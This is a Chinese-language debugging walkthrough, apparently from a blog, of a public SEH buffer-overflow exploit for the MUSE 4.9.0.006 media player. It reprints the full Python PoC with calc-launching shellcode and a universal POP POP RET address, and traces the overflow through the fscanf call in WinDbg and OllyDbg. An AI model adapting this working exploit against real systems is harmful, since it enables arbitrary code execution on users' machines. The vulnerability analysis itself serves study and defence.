拿到poc后先看看poc的构成
```
#!/usr/bin/python
#using = utf-8
# Title: MUSE v4.9.0.006 (.pls) Local Universal Buffer Overflow [SEH]
# Date: 2016/3/19
# Author: toT0C
# Software Link: http://download.cnet.com/MUSE/3000-2140_4-42511.html
# Version: 4.9.0.006
# Tested on: Windows XP SP3 cn
junk = "\x41" * 1376
nseh = "\xeb\x06\x90\x90"
seh = "\xAA\x0c\x02\x10" # 10020CAA sdll.dll universal
junk2 = "\x90" * 16
junk3 = "\x90" * 642
#calc.exe
shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x48\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x68"
"\x58\x30\x41\x31\x50\x42\x41\x6b\x41\x41\x78\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x58\x69\x49\x6c\x49"
"\x78\x71\x54\x55\x50\x37\x70\x35\x50\x6c\x4b\x53\x75\x55\x6c\x6e"
"\x6b\x53\x4c\x74\x45\x62\x58\x56\x61\x4a\x4f\x4c\x4b\x30\x4f\x42"
"\x38\x6e\x6b\x73\x6f\x67\x50\x36\x61\x48\x6b\x70\x49\x6c\x4b\x66"
"\x54\x4e\x6b\x64\x41\x38\x6e\x74\x71\x49\x50\x7a\x39\x6e\x4c\x4e"
"\x64\x6b\x70\x52\x54\x44\x47\x4f\x31\x6b\x7a\x56\x6d\x46\x61\x5a"
"\x62\x5a\x4b\x78\x74\x67\x4b\x70\x54\x76\x44\x77\x74\x42\x55\x78"
"\x65\x6e\x6b\x53\x6f\x36\x44\x37\x71\x58\x6b\x30\x66\x4e\x6b\x44"
"\x4c\x62\x6b\x4e\x6b\x43\x6f\x57\x6c\x57\x71\x7a\x4b\x6c\x4b\x75"
"\x4c\x6e\x6b\x36\x61\x38\x6b\x6e\x69\x71\x4c\x44\x64\x75\x54\x79"
"\x53\x55\x61\x69\x50\x31\x74\x6e\x6b\x67\x30\x64\x70\x4f\x75\x59"
"\x50\x43\x48\x56\x6c\x6e\x6b\x41\x50\x76\x6c\x6c\x4b\x72\x50\x45"
"\x4c\x6c\x6d\x6e\x6b\x71\x78\x77\x78\x48\x6b\x66\x69\x4e\x6b\x6f"
"\x70\x4c\x70\x47\x70\x33\x30\x53\x30\x4c\x4b\x75\x38\x65\x6c\x43"
"\x6f\x76\x51\x78\x76\x75\x30\x50\x56\x4b\x39\x4b\x48\x6d\x53\x6f"
"\x30\x71\x6b\x76\x30\x35\x38\x78\x70\x4c\x4a\x75\x54\x63\x6f\x33"
"\x58\x4c\x58\x59\x6e\x6d\x5a\x34\x4e\x56\x37\x6b\x4f\x38\x67\x55"
"\x33\x45\x31\x30\x6c\x72\x43\x76\x4e\x53\x55\x53\x48\x70\x65\x37"
"\x70\x68")
exploit = junk + nseh + seh + junk2 + shellcode + junk3
try:
print "[+] Creating exploit file.."
f = open('muse.pls','w')
f.write(exploit)
f.close()
print "[+] Writing", len(exploit), "bytes to muse.pls"
print "[+] Exploit file created!"
except:
print "[-] Error: You do not have correct permissions.."
```
运行poc生成poc文件
打开windbg,附加进程,运行载入poc文件,发现断下来了,kvn查看堆栈
```
(704.47c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00ddda01 ecx=77c10ad6 edx=00b056d8 esi=00df4fb8 edi=00000000
eip=41414141 esp=0012f2b8 ebp=00dde0f0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
41414141 ?? ???
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012f2b4 41414141 41414141 41414141 41414141 0x41414141
0012f2b8 41414141 41414141 41414141 41414141 0x41414141
0012f2bc 41414141 41414141 41414141 41414141 0x41414141
0012f2c0 41414141 41414141 41414141 41414141 0x41414141
0012f2c4 41414141 41414141 41414141 41414141 0x41414141
0012f2c8 41414141 41414141 41414141 41414141 0x41414141
0012f2cc 41414141 41414141 41414141 41414141 0x41414141
0012f2d0 41414141 41414141 41414141 41414141 0x41414141
0012f2d4 41414141 41414141 41414141 41414141 0x41414141
0012f2d8 41414141 41414141 41414141 41414141 0x41414141
0012f2dc 41414141 41414141 41414141 41414141 0x41414141
0012f2e0 41414141 41414141 41414141 909006eb 0x41414141
0012f2e4 41414141 41414141 909006eb 10020caa 0x41414141
0012f2e8 41414141 909006eb 10020caa 90909090 0x41414141
0012f2ec 909006eb 10020caa 90909090 90909090 0x41414141
*** WARNING: Unable to verify checksum for C:\Program Files\Muse\sdll.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Muse\sdll.dll -
0012f2f0 10020caa 90909090 90909090 90909090 0x909006eb
0012f2f4 90909090 90909090 90909090 90909090 sdll!CSdll::MP3id3v1_write+0x115a
0012f2f8 90909090 90909090 90909090 eb5903eb 0x90909090
0012f2fc 90909090 90909090 eb5903eb fff8e805 0x90909090
0012f300 90909090 eb5903eb fff8e805 4948ffff 0x90909090
```
这是什么鬼啊!!!!!!
说好的堆栈调用呢???!!!
宝宝不服,重新构造一个测试文件,来大概定位漏洞现场
```
#!/usr/bin/python
#using = utf-8
junk = "\x41" * 1376
exploit = junk + "BBBB"
try:
f = open('datudou-test.pls','w')
f.write(exploit)
f.close()
except:
print "[-] Error: You do not have correct permissions.."
```
重新载入,然后kvn可以看到比较完整的堆栈调用,可能虽然有一个还是被覆盖了,但是的的确确是可以大概的找到崩溃现场然后下断
```
(558.490): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00ddda01 ecx=77c10ad6 edx=00b056d8 esi=00e17a60 edi=00000000
eip=41414141 esp=0012f2b8 ebp=00dde0f0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
41414141 ?? ???
0:000> kvn
# ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0012f2b4 41414141 41414141 41414141 41414141 0x41414141
*** WARNING: Unable to verify checksum for Muse.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for Muse.exe -
01 0012f2f8 004705bf 0012f308 00000040 656c6966 0x41414141
02 0012f36c 7c933b76 0012f2d0 0012f3f8 0012f530 Muse!CSdll::operator=+0x6ed6f
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL -
03 0012f38c 73d31974 73e025b8 00000040 00000003 ntdll!RtlDosPathNameToNtPathName_U+0x4f (FPO: [Non-Fpo])
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
04 0012f3a0 7c80be86 73e025a8 0012f398 0012f404 MFC42!Ordinal6585+0x68
05 0012f408 0043f02b 00ddd738 0012f42c 0012f5a1 kernel32!lstrlenA+0x30
06 0012f40c 00ddd738 0012f42c 0012f5a1 00b08089 Muse!CSdll::operator=+0x3d7db
07 0012f410 0012f42c 0012f5a1 00b08089 00000000 0xddd738
08 0012f414 0012f5a1 00b08089 00000000 00dd6470 0x12f42c
09 0012f42c 6d75636f 73746e65 646e6120 74655320 0x12f5a1
0a 0012f430 73746e65 646e6120 74655320 676e6974 0x6d75636f
0b 0012f434 646e6120 74655320 676e6974 64415c73 0x73746e65
0c 0012f438 74655320 676e6974 64415c73 696e696d 0x646e6120
0d 0012f538 0043e863 00b08050 00000001 00dd6470 0x74655320
0e 00000000 00000000 00000000 00000000 00000000 Muse!CSdll::operator=+0x3d013
```
宝宝是吾爱人,宝宝有一百种办法定位你,最近的是这个
```
01 0012f2f8 004705bf 0012f308 00000040 656c6966 0x41414141
```
现在关了windbg,小书包里掏出OD,吾爱OD,你值得拥有,宝宝墙裂推荐
载入后Ctrl+G到`004705bf`,在上面的call下断,然后F9就可以跑起来了
断下来后F7跟入
```
004705BA |. E8 819A0000 call Muse.0047A040
004705BF |. F7D8 neg eax
```
到这里下断,F7跟入
```
0047A077 |. E8 C40F0000 call Muse.0047B040
```
单步走下去,会碰到一个只循环一次的循环,走一圈就会出去
```
0047B09C |> /8B4C24 10 /mov ecx,dword ptr ss:[esp+0x10]
0047B0A0 |> |8B83 F4000000 mov eax,dword ptr ds:[ebx+0xF4]
0047B0A6 |. |8B2CB8 |mov ebp,dword ptr ds:[eax+edi*4]
0047B0A9 |. |8B45 08 |mov eax,[arg.1]
0047B0AC |. |85C0 |test eax,eax
0047B0AE |. |75 05 |jnz short Muse.0047B0B5
0047B0B0 |. |A1 EC1F4F00 |mov eax,dword ptr ds:[<&MSVCP60.?_C@?1?>
0047B0B5 |> |50 |push eax ; /s2 = 00000001 ???
0047B0B6 |. |51 |push ecx ; |s1 = "m3u"
0047B0B7 |. |FF15 0C224F00 |call dword ptr ds:[<&MSVCRT._stricmp>] ; \_stricmp
0047B0BD |. |83C4 08 |add esp,0x8
0047B0C0 |. |85C0 |test eax,eax
0047B0C2 |. |74 14 |je short Muse.0047B0D8
0047B0C4 |. |47 |inc edi
0047B0C5 |. |3BFE |cmp edi,esi
0047B0C7 |.^\72 D3 \jb short Muse.0047B09C
```
然后继续单步,到这里F7跟入
```
0047B117 |. FF52 08 call dword ptr ds:[edx+0x8] ; Muse.0049AD60
```
单步走下去,会发现溢出代码段,执行完后就溢出了,填充开始的地方是
```
0049AE58 . 68 FCBA5100 push Muse.0051BAFC ; ASCII "%[^=]=%[^\n\r] "
0049AE5D . 53 push ebx ; msvcrt.77C2FCE0
0049AE5E . FFD6 call esi ; msvcrt.fscanf
```
来看看执行前后对比

执行后

可以看到shellcode已经填充完毕了
然后我们在数据区往下翻,找到nseh

找到nesh后就可以看到咱们伪造的seh了,Ctrl+G到`0x10020CAA`看看
```
10020CAA 5D pop ebp ; msvcrt.77C2FCE0
10020CAB 5B pop ebx ; msvcrt.77C2FCE0
10020CAC C3 retn
```
顺便下个断点
然后F9运行就会断在这
此时堆栈数据
```
0012EEE8 7C9232A8 ?抾 返回到 ntdll.7C9232A8
0012EEEC 0012EFD0 酗.
0012EEF0 0012F2F0 痱.
0012EEF4 0012EFEC 祜.
0012EEF8 0012EFA4 わ. ASCII "AAAAAAAA"
0012EEFC 0012F2F0 痱. 指向下一个 SEH 记录的指针
0012EF00 7C9232BC ?抾 SE处理程序
0012EF04 0012F2F0 痱.
0012EF08 /0012EFB8 革.
0012EF0C |7C92327A z2抾 返回到 ntdll.7C92327A 来自 ntdll.7C923282
0012EF10 |0012EFD0 酗.
0012EF14 |0012F2F0 痱.
0012EF18 |0012EFEC 祜.
0012EF1C |0012EFA4 わ. ASCII "AAAAAAAA"
```
结合代码可以看出执行两次pop操作后栈顶为
```
0012EEF0 0012F2F0 痱.
```
而接下来执行的是retn操作,所以就会跳到`0x0012F2F0`

然后`jmp 0x6`就会到nops然后滑到shellcode
整个就是这么个情况
最后如果有同学想要调试这东西的,可以找宝宝要软件
留言就行啦,么么哒:)